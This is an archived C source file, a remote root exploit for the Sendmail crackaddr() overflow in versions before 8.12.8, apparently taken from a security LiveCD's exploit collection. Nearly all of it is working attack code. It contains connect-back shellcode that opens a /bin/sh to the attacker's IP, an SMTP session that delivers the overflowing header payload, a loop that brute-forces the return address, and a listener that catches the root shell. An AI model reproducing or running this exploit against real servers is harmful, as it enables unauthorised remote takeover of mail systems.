home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / bysin.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  393 lines

  1. /* Sendmail <8.12.8 crackaddr() exploit by bysin */
  2. /*            from the l33tsecurity crew         */
  3.  
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <sys/time.h>
  7. #include <netinet/in.h>
  8. #include <unistd.h>
  9. #include <netdb.h>
  10. #include <stdio.h>
  11. #include <fcntl.h>
  12. #include <errno.h>
  13.  
  14. int maxarch=1;
  15. struct arch {
  16.     char *os;
  17.     int angle,nops;
  18.     unsigned long aptr;
  19. } archs[] = {
  20.     {"Slackware 8.0 with sendmail 8.11.4",138,1,0xbfffbe34}
  21. };
  22.  
  23.  
  24. /////////////////////////////////////////////////////////
  25.  
  26. #define LISTENPORT 2525
  27. #define BUFSIZE 4096
  28.  
  29. char code[]=                    /* 116 bytes                      */
  30.     "\xeb\x02"                  /* jmp    <shellcode+4>           */
  31.     "\xeb\x08"                  /* jmp    <shellcode+12>          */
  32.     "\xe8\xf9\xff\xff\xff"      /* call   <shellcode+2>           */
  33.     "\xcd\x7f"                  /* int    $0x7f                   */
  34.     "\xc3"                      /* ret                            */
  35.     "\x5f"                      /* pop    %edi                    */
  36.     "\xff\x47\x01"              /* incl   0x1(%edi)               */
  37.     "\x31\xc0"                  /* xor    %eax,%eax               */
  38.     "\x50"                      /* push   %eax                    */
  39.     "\x6a\x01"                  /* push   $0x1                    */
  40.     "\x6a\x02"                  /* push   $0x2                    */
  41.     "\x54"                      /* push   %esp                    */
  42.     "\x59"                      /* pop    %ecx                    */
  43.     "\xb0\x66"                  /* mov    $0x66,%al               */
  44.     "\x31\xdb"                  /* xor    %ebx,%ebx               */
  45.     "\x43"                      /* inc    %ebx                    */
  46.     "\xff\xd7"                  /* call   *%edi                   */
  47.     "\xba\xff\xff\xff\xff"      /* mov    $0xffffffff,%edx        */
  48.     "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
  49.     "\x31\xca"                  /* xor    %ecx,%edx               */
  50.     "\x52"                      /* push   %edx                    */
  51.     "\xba\xfd\xff\xff\xff"      /* mov    $0xfffffffd,%edx        */
  52.     "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
  53.     "\x31\xca"                  /* xor    %ecx,%edx               */
  54.     "\x52"                      /* push   %edx                    */
  55.     "\x54"                      /* push   %esp                    */
  56.     "\x5e"                      /* pop    %esi                    */
  57.     "\x6a\x10"                  /* push   $0x10                   */
  58.     "\x56"                      /* push   %esi                    */
  59.     "\x50"                      /* push   %eax                    */
  60.     "\x50"                      /* push   %eax                    */
  61.     "\x5e"                      /* pop    %esi                    */
  62.     "\x54"                      /* push   %esp                    */
  63.     "\x59"                      /* pop    %ecx                    */
  64.     "\xb0\x66"                  /* mov    $0x66,%al               */
  65.     "\x6a\x03"                  /* push   $0x3                    */
  66.     "\x5b"                      /* pop    %ebx                    */
  67.     "\xff\xd7"                  /* call   *%edi                   */
  68.     "\x56"                      /* push   %esi                    */
  69.     "\x5b"                      /* pop    %ebx                    */
  70.     "\x31\xc9"                  /* xor    %ecx,%ecx               */
  71.     "\xb1\x03"                  /* mov    $0x3,%cl                */
  72.     "\x31\xc0"                  /* xor    %eax,%eax               */
  73.     "\xb0\x3f"                  /* mov    $0x3f,%al               */
  74.     "\x49"                      /* dec    %ecx                    */
  75.     "\xff\xd7"                  /* call   *%edi                   */
  76.     "\x41"                      /* inc    %ecx                    */
  77.     "\xe2\xf6"                  /* loop   <shellcode+81>          */
  78.     "\x31\xc0"                  /* xor    %eax,%eax               */
  79.     "\x50"                      /* push   %eax                    */
  80.     "\x68\x2f\x2f\x73\x68"      /* push   $0x68732f2f             */
  81.     "\x68\x2f\x62\x69\x6e"      /* push   $0x6e69622f             */
  82.     "\x54"                      /* push   %esp                    */
  83.     "\x5b"                      /* pop    %ebx                    */
  84.     "\x50"                      /* push   %eax                    */
  85.     "\x53"                      /* push   %ebx                    */
  86.     "\x54"                      /* push   %esp                    */
  87.     "\x59"                      /* pop    %ecx                    */
  88.     "\x31\xd2"                  /* xor    %edx,%edx               */
  89.     "\xb0\x0b"                  /* mov    $0xb,%al                */
  90.     "\xff\xd7"                  /* call   *%edi                   */
  91. ;
  92.  
  93.  
  94. void header() {
  95.     printf("\nSendmail <8.12.8 crackaddr() exploit by bysin\n");
  96.     printf("           from the l33tsecurity crew        \n\n");
  97. }
  98.  
  99. void printtargets() {
  100.     unsigned long i;
  101.     header();
  102.     printf("\t  Target\t Addr\t\t OS\n");
  103.     printf("\t-------------------------------------------\n");
  104.     for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].aptr,archs[i].os);
  105.     printf("\n");
  106. }
  107.  
  108. void writesocket(int sock, char *buf) {
  109.     if (send(sock,buf,strlen(buf),0) <= 0) {
  110.         printf("Error writing to socket\n");
  111.         exit(0);
  112.     }
  113. }
  114.  
  115. void readsocket(int sock, int response) {
  116.     char temp[BUFSIZE];
  117.     memset(temp,0,sizeof(temp));
  118.     if (recv(sock,temp,sizeof(temp),0) <= 0) {
  119.         printf("Error reading from socket\n");
  120.         exit(0);
  121.     }
  122.     if (response != atol(temp)) {
  123.         printf("Bad response: %s\n",temp);
  124.         exit(0);
  125.     }
  126. }
  127.  
  128. int readutil(int sock, int response) {
  129.     char temp[BUFSIZE],*str;
  130.     while(1) {
  131.         fd_set readfs;
  132.         struct timeval tm;
  133.         FD_ZERO(&readfs);
  134.         FD_SET(sock,&readfs);
  135.         tm.tv_sec=1;
  136.         tm.tv_usec=0;
  137.         if(select(sock+1,&readfs,NULL,NULL,&tm) <= 0) return 0;
  138.         memset(temp,0,sizeof(temp));
  139.         if (recv(sock,temp,sizeof(temp),0) <= 0) {
  140.             printf("Error reading from socket\n");
  141.             exit(0);
  142.         }
  143.         str=(char*)strtok(temp,"\n");
  144.         while(str && *str) {
  145.             if (atol(str) == response) return 1;
  146.             str=(char*)strtok(NULL,"\n");
  147.         }
  148.     }
  149. }
  150.  
  151. #define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||(((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0)))
  152.  
  153. void findvalmask(char* val,char* mask,int len) {
  154.     int i;
  155.     unsigned char c,m;
  156.     for(i=0;i<len;i++) {
  157.         c=val[i];
  158.         m=0xff;
  159.         while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
  160.         val[i]=c^m;
  161.         mask[i]=m;
  162.     }
  163. }
  164.  
  165. void fixshellcode(char *host, unsigned short port) {
  166.     unsigned long ip;
  167.     char abuf[4],amask[4],pbuf[2],pmask[2];
  168.     if ((ip = inet_addr(host)) == -1) {
  169.         struct hostent *hostm;
  170.         if ((hostm=gethostbyname(host)) == NULL) {
  171.             printf("Unable to resolve local address\n");
  172.             exit(0);
  173.         }
  174.         memcpy((char*)&ip, hostm->h_addr, hostm->h_length);
  175.     }
  176.     abuf[3]=(ip>>24)&0xff;
  177.     abuf[2]=(ip>>16)&0xff;
  178.     abuf[1]=(ip>>8)&0xff;
  179.     abuf[0]=(ip)&0xff;
  180.     pbuf[0]=(port>>8)&0xff;
  181.     pbuf[1]=(port)&0xff;
  182.     findvalmask(abuf,amask,4);
  183.     findvalmask(pbuf,pmask,2);
  184.     memcpy(&code[33],abuf,4);
  185.     memcpy(&code[38],amask,4);
  186.     memcpy(&code[48],pbuf,2);
  187.     memcpy(&code[53],pmask,2);
  188. }
  189.  
  190. void getrootprompt() {
  191.     int sockfd,sin_size,tmpsock,i;
  192.     struct sockaddr_in my_addr,their_addr;
  193.     char szBuffer[1024];
  194.     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  195.         printf("Error creating listening socket\n");
  196.         return;
  197.     }
  198.     my_addr.sin_family = AF_INET;
  199.     my_addr.sin_port = htons(LISTENPORT);
  200.     my_addr.sin_addr.s_addr = INADDR_ANY;
  201.     memset(&(my_addr.sin_zero), 0, 8);
  202.     if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
  203.         printf("Error binding listening socket\n");
  204.         return;
  205.     }
  206.     if (listen(sockfd, 1) == -1) {
  207.         printf("Error listening on listening socket\n");
  208.         return;
  209.     }
  210.     sin_size = sizeof(struct sockaddr_in);
  211.     if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
  212.         printf("Error accepting on listening socket\n");
  213.         return;
  214.     }
  215.     writesocket(tmpsock,"uname -a\n");
  216.     while(1) {
  217.         fd_set readfs;
  218.         FD_ZERO(&readfs);
  219.         FD_SET(0,&readfs);
  220.         FD_SET(tmpsock,&readfs);
  221.         if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) {
  222.             int cnt;
  223.             char buf[1024];
  224.             if (FD_ISSET(0,&readfs)) {
  225.                 if ((cnt=read(0,buf,1024)) < 1) {
  226.                     if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
  227.                             else {
  228.                         printf("Connection closed\n");
  229.                         return;
  230.                     }
  231.                 }
  232.                 write(tmpsock,buf,cnt);
  233.             }
  234.             if (FD_ISSET(tmpsock,&readfs)) {
  235.                 if ((cnt=read(tmpsock,buf,1024)) < 1) {
  236.                     if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
  237.                             else {
  238.                         printf("Connection closed\n");
  239.                         return;
  240.                     }
  241.                 }
  242.                 write(1,buf,cnt);
  243.             }
  244.         }
  245.     }
  246.     close(tmpsock);
  247.     close(sockfd);
  248.     return;
  249. }
  250.  
  251. int main(int argc, char **argv) {
  252.     struct sockaddr_in server;
  253.     unsigned long ipaddr,i,bf=0;
  254.     int sock,target;
  255.     char tmp[BUFSIZE],buf[BUFSIZE],*p;
  256.     if (argc <= 3) {
  257.         printf("%s <target ip> <myip> <target number> [bruteforce start addr]\n",argv[0]);
  258.         printtargets();
  259.         return 0;
  260.     }
  261.     target=atol(argv[3]);
  262.     if (target < 0 || target >= maxarch) {
  263.         printtargets();
  264.         return 0;
  265.     }
  266.     if (argc > 4) sscanf(argv[4],"%x",&bf);
  267.  
  268.     header();
  269.  
  270.     fixshellcode(argv[2],LISTENPORT);
  271.     if (bf && !fork()) {
  272.         getrootprompt();
  273.         return 0;
  274.     }
  275.  
  276. bfstart:
  277.     if (bf) {
  278.         printf("Trying address 0x%x\n",bf);
  279.         fflush(stdout);
  280.     }
  281.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  282.         printf("Unable to create socket\n");
  283.         exit(0);
  284.     }
  285.     server.sin_family = AF_INET;
  286.     server.sin_port = htons(25);
  287.     if (!bf) {
  288.         printf("Resolving address... ");
  289.         fflush(stdout);
  290.     }
  291.     if ((ipaddr = inet_addr(argv[1])) == -1) {
  292.         struct hostent *hostm;
  293.         if ((hostm=gethostbyname(argv[1])) == NULL) {
  294.             printf("Unable to resolve address\n");
  295.             exit(0);
  296.         }
  297.         memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  298.     }
  299.     else server.sin_addr.s_addr = ipaddr;
  300.     memset(&(server.sin_zero), 0, 8);
  301.     if (!bf) {
  302.         printf("Address found\n");
  303.         printf("Connecting... ");
  304.         fflush(stdout);
  305.     }
  306.     if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
  307.         printf("Unable to connect\n");
  308.         exit(0);
  309.     }
  310.     if (!bf) {
  311.         printf("Connected!\n");
  312.         printf("Sending exploit... ");
  313.         fflush(stdout);
  314.     }
  315.     readsocket(sock,220);
  316.     writesocket(sock,"HELO yahoo.com\r\n");
  317.     readsocket(sock,250);
  318.     writesocket(sock,"MAIL FROM: spiderman@yahoo.com\r\n");
  319.     readsocket(sock,250);
  320.     writesocket(sock,"RCPT TO: MAILER-DAEMON\r\n");
  321.     readsocket(sock,250);
  322.     writesocket(sock,"DATA\r\n");
  323.     readsocket(sock,354);
  324.     memset(buf,0,sizeof(buf));
  325.     p=buf;
  326.     for (i=0;i<archs[target].angle;i++) {
  327.         *p++='<';
  328.         *p++='>';
  329.     }
  330.     *p++='(';
  331.     for (i=0;i<archs[target].nops;i++) *p++=0xf8;
  332.     *p++=')';
  333.     *p++=((char*)&archs[target].aptr)[0];
  334.     *p++=((char*)&archs[target].aptr)[1];
  335.     *p++=((char*)&archs[target].aptr)[2];
  336.     *p++=((char*)&archs[target].aptr)[3];
  337.     *p++=0;
  338.     sprintf(tmp,"Full-name: %s\r\n",buf);
  339.     writesocket(sock,tmp);
  340.     sprintf(tmp,"From: %s\r\n",buf);
  341.     writesocket(sock,tmp);
  342.  
  343.     p=buf;
  344.     archs[target].aptr+=4;
  345.     *p++=((char*)&archs[target].aptr)[0];
  346.     *p++=((char*)&archs[target].aptr)[1];
  347.     *p++=((char*)&archs[target].aptr)[2];
  348.     *p++=((char*)&archs[target].aptr)[3];
  349.  
  350.     for (i=0;i<0x14;i++) *p++=0xf8;
  351.     archs[target].aptr+=0x18;
  352.     *p++=((char*)&archs[target].aptr)[0];
  353.     *p++=((char*)&archs[target].aptr)[1];
  354.     *p++=((char*)&archs[target].aptr)[2];
  355.     *p++=((char*)&archs[target].aptr)[3];
  356.  
  357.     for (i=0;i<0x4c;i++) *p++=0x01;
  358.     archs[target].aptr+=0x4c+4;
  359.     *p++=((char*)&archs[target].aptr)[0];
  360.     *p++=((char*)&archs[target].aptr)[1];
  361.     *p++=((char*)&archs[target].aptr)[2];
  362.     *p++=((char*)&archs[target].aptr)[3];
  363.  
  364.     for (i=0;i<0x8;i++) *p++=0xf8;
  365.     archs[target].aptr+=0x08+4;
  366.     *p++=((char*)&archs[target].aptr)[0];
  367.     *p++=((char*)&archs[target].aptr)[1];
  368.     *p++=((char*)&archs[target].aptr)[2];
  369.     *p++=((char*)&archs[target].aptr)[3];
  370.  
  371.     for (i=0;i<0x20;i++) *p++=0xf8;
  372.     for (i=0;i<strlen(code);i++) *p++=code[i];
  373.  
  374.     *p++=0;
  375.     sprintf(tmp,"Subject: AAAAAAAAAAA%s\r\n",buf);
  376.     writesocket(sock,tmp);
  377.     writesocket(sock,".\r\n");
  378.     if (!bf) {
  379.         printf("Exploit sent!\n");
  380.         printf("Waiting for root prompt...\n");
  381.         if (readutil(sock,451)) printf("Failed!\n");
  382.         else getrootprompt();
  383.     }
  384.     else {
  385.         readutil(sock,451);
  386.         close(sock);
  387.         bf+=4;
  388.         goto bfstart;
  389.     }
  390. }
  391.  
  392.  
  393.